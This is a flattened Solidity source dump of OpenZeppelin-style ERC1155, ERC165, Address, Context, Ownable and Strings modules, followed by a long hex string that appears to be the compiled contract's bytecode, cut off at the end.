Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
0x608060405234801561001057600080fd5b50600436106100e95760003560e01c8063715018a61161008c578063a22cb46511610066578063a22cb465146101e8578063e985e9c5146101fb578063f242432a14610237578063f2fde38b1461024a57600080fd5b8063715018a6146101b2578063731133e9146101ba5780638da5cb5b146101cd57600080fd5b80630e89341c116100c85780630e89341c1461014c5780631f7fdffa1461016c5780632eb2c2d61461017f5780634e1273f41461019257600080fd5b8062fdd58e146100ee57806301ffc9a71461011457806302fe530514610137575b600080fd5b6101016100fc366004611204565b61025d565b6040519081526020015b60405180910390f35b610127610122366004611244565b6102f4565b604051901515815260200161010b565b61014a610145366004611309565b610346565b005b61015f61015a366004611352565b61037c565b60405161010b91906113c3565b61014a61017a36600461148b565b6103b7565b61014a61018d366004611524565b6103f3565b6101a56101a03660046115ce565b61048a565b60405161010b91906116d4565b61014a6105b4565b61014a6101c83660046116e7565b6105ea565b6003546040516001600160a01b03909116815260200161010b565b61014a6101f636600461173c565b610620565b610127610209366004611778565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b61014a6102453660046117ab565b6106f7565b61014a610258366004611810565b61077e565b60006001600160a01b0383166102ce5760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b506000908152602081815260408083206001600160a01b03949094168352929052205490565b60006001600160e01b03198216636cdb3d1360e11b148061032557506001600160e01b031982166303a24d0760e21b145b8061034057506301ffc9a760e01b6001600160e01b03198316145b92915050565b6003546001600160a01b031633146103705760405162461bcd60e51b81526004016102c59061182b565b61037981610816565b50565b60606103878261082d565b610390836108c1565b6040516020016103a1929190611860565b6040516020818303038152906040529050919050565b6003546001600160a01b031633146103e15760405162461bcd60e51b81526004016102c59061182b565b6103ed848484846109c7565b50505050565b6001600160a01b03851633148061040f575061040f8533610209565b6104765760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b60648201526084016102c5565b6104838585858585610b12565b5050505050565b606081518351146104ef5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e677468604482015268040dad2e6dac2e8c6d60bb1b60648201526084016102c5565b6000835167ffffffffffffffff81111561050b5761050b611268565b604051908082528060200260200182016040528015610534578160200160208202803683370190505b50905060005b84518110156105ac5761057f8582815181106105585761055861189f565b60200260200101518583815181106105725761057261189f565b602002602001015161025d565b8282815181106105915761059161189f565b60209081029190910101526105a5816118cb565b905061053a565b509392505050565b6003546001600160a01b031633146105de5760405162461bcd60e51b81526004016102c59061182b565b6105e86000610cae565b565b6003546001600160a01b031633146106145760405162461bcd60e51b81526004016102c59061182b565b6103ed84848484610d00565b336001600160a01b038316141561068b5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c20737461747573604482015268103337b91039b2b63360b91b60648201526084016102c5565b3360008181526001602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6001600160a01b03851633148061071357506107138533610209565b6107715760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b60648201526084016102c5565b6104838585858585610dd0565b6003546001600160a01b031633146107a85760405162461bcd60e51b81526004016102c59061182b565b6001600160a01b03811661080d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102c5565b61037981610cae565b805161082990600290602084019061114f565b5050565b60606002805461083c906118e6565b80601f0160208091040260200160405190810160405280929190818152602001828054610868906118e6565b80156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b50505050509050919050565b6060816108e55750506040805180820190915260018152600360fc1b602082015290565b8160005b811561090f57806108f9816118cb565b91506109089050600a83611937565b91506108e9565b60008167ffffffffffffffff81111561092a5761092a611268565b6040519080825280601f01601f191660200182016040528015610954576020820181803683370190505b5090505b84156109bf5761096960018361194b565b9150610976600a86611962565b610981906030611976565b60f81b8183815181106109965761099661189f565b60200101906001600160f81b031916908160001a9053506109b8600a86611937565b9450610958565b949350505050565b6001600160a01b0384166109ed5760405162461bcd60e51b81526004016102c59061198e565b8151835114610a0e5760405162461bcd60e51b81526004016102c5906119cf565b3360005b8451811015610aaa57838181518110610a2d57610a2d61189f565b6020026020010151600080878481518110610a4a57610a4a61189f565b602002602001015181526020019081526020016000206000886001600160a01b03166001600160a01b031681526020019081526020016000206000828254610a929190611976565b90915550819050610aa2816118cb565b915050610a12565b50846001600160a01b031660006001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610afb929190611a17565b60405180910390a461048381600087878787610eed565b8151835114610b335760405162461bcd60e51b81526004016102c5906119cf565b6001600160a01b038416610b595760405162461bcd60e51b81526004016102c590611a45565b3360005b8451811015610c40576000858281518110610b7a57610b7a61189f565b602002602001015190506000858381518110610b9857610b9861189f565b602090810291909101810151600084815280835260408082206001600160a01b038e168352909352919091205490915081811015610be85760405162461bcd60e51b81526004016102c590611a8a565b6000838152602081815260408083206001600160a01b038e8116855292528083208585039055908b16825281208054849290610c25908490611976565b9250508190555050505080610c39906118cb565b9050610b5d565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610c90929190611a17565b60405180910390a4610ca6818787878787610eed565b505050505050565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038416610d265760405162461bcd60e51b81526004016102c59061198e565b33610d4081600087610d3788611049565b61048388611049565b6000848152602081815260408083206001600160a01b038916845290915281208054859290610d70908490611976565b909155505060408051858152602081018590526001600160a01b0380881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a461048381600087878787611094565b6001600160a01b038416610df65760405162461bcd60e51b81526004016102c590611a45565b33610e06818787610d3788611049565b6000848152602081815260408083206001600160a01b038a16845290915290205483811015610e475760405162461bcd60e51b81526004016102c590611a8a565b6000858152602081815260408083206001600160a01b038b8116855292528083208785039055908816825281208054869290610e84908490611976565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4610ee4828888888888611094565b50505050505050565b6001600160a01b0384163b15610ca65760405163bc197c8160e01b81526001600160a01b0385169063bc197c8190610f319089908990889088908890600401611ad4565b6020604051808303816000875af1925050508015610f6c575060408051601f3d908101601f19168201909252610f6991810190611b32565b60015b61101957610f78611b4f565b806308c379a01415610fb25750610f8d611b6b565b80610f985750610fb4565b8060405162461bcd60e51b81526004016102c591906113c3565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e20455243313135356044820152732932b1b2b4bb32b91034b6b83632b6b2b73a32b960611b60648201526084016102c5565b6001600160e01b0319811663bc197c8160e01b14610ee45760405162461bcd60e51b81526004016102c590611bf5565b604080516001808252818301909252606091600091906020808301908036833701905050905082816000815181106110835761108361189f565b602090810291909101015292915050565b6001600160a01b0384163b15610ca65760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e61906110d89089908990889088908890600401611c3d565b6020604051808303816000875af1925050508015611113575060408051601f3d908101601f1916820190925261111091810190611b32565b60015b61111f57610f78611b4f565b6001600160e01b0319811663f23a6e6160e01b14610ee45760405162461bcd60e51b81526004016102c590611bf5565b82805461115b906118e6565b90600052602060002090601f01602090048101928261117d57600085556111c3565b82601f1061119657805160ff19168380011785556111c3565b828001600101855582156111c3579182015b828111156111c35782518255916020019190600101906111a8565b506111cf9291506111d3565b5090565b5b808211156111cf57600081556001016111d4565b80356001600160a01b03811681146111ff57600080fd5b919050565b6000806040838503121561121757600080fd5b611220836111e8565b946020939093013593505050565b6001600160e01b03198116811461037957600080fd5b60006020828403121561125657600080fd5b81356112618161122e565b9392505050565b634e487b7160e01b600052604160045260246000fd5b601f8201601f1916810167ffffffffffffffff811182821017156112a4576112a4611268565b6040525050565b600067ffffffffffffffff8311156112c5576112c5611268565b6040516112dc601f8501601f19166020018261127e565b8091508381528484840111156112f157600080fd5b83836020830137600060208583010152509392505050565b60006020828403121561131b57600080fd5b813567ffffffffffffffff81111561133257600080fd5b8201601f8101841361134357600080fd5b6109bf848235602084016112ab565b60006020828403121561136457600080fd5b5035919050565b60005b8381101561138657818101518382015260200161136e565b838111156103ed5750506000910152565b600081518084526113af81602086016020860161136b565b601f01601f19169290920160200192915050565b6020815260006112616020830184611397565b600067ffffffffffffffff8211156113f0576113f0611268565b5060051b60200190565b600082601f83011261140b57600080fd5b81356020611418826113d6565b604051611425828261127e565b83815260059390931b850182019282810191508684111561144557600080fd5b8286015b848110156114605780358352918301918301611449565b509695505050505050565b600082601f83011261147c57600080fd5b611261838335602085016112ab565b600080600080608085870312156114a157600080fd5b6114aa856111e8565b9350602085013567ffffffffffffffff808211156114c757600080fd5b6114d3888389016113fa565b945060408701359150808211156114e957600080fd5b6114f5888389016113fa565b9350606087013591508082111561150b57600080fd5b506115188782880161146b565b91505092959194509250565